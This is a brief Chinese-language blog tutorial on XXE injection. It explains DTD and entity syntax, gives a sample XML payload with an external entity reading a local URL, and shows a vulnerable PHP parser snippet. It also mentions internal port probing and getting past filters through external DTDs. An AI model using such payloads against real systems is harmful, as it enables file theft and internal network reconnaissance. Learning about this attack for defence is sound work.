xxe注入

XML文档结构包括XML声明,DTD文档类型定义,文档元素

1.内部声明DTD

<!DOCTYPE 根元素[元素声明]>

2.引用外部DTD

<!DOCTYPE 根元素 system "文件名">

3.内部声明实体

<!ENTITY 实体名称   实体的值>

4.引用外部实体

<!ENTITY  实体的名称  SYSTEM “URI”>

xml外部实体注入,当在xml允许使用外部实体时,有极大风险导致读取任意文件,执行系统命令,探测内网端口,攻击网站

1.读取网站内容

xml文件如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1/1.txt" >  ]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

Entity用来引入内容

&xxe;用来复现内容

读取xml的php文件如下

<?php
$data=simplexml_load_file("1.xml");
var_dump($data);

?>

 2.可以探测内网端口

若端口不存在

 

 即使是ENTITY被过滤,还有可能通过dtd来引入

 

 

不出现ENTITY也可通过外部引入DTD在外部写入危险文件 

引用外部DTD

<!DOCTYPE 根元素 system "文件名">

内部声明实体

<!ENTITY 实体名称   实体的值>

 

posted @ 2016-05-17 16:01  平何去何  阅读(100)  评论(0)    收藏  举报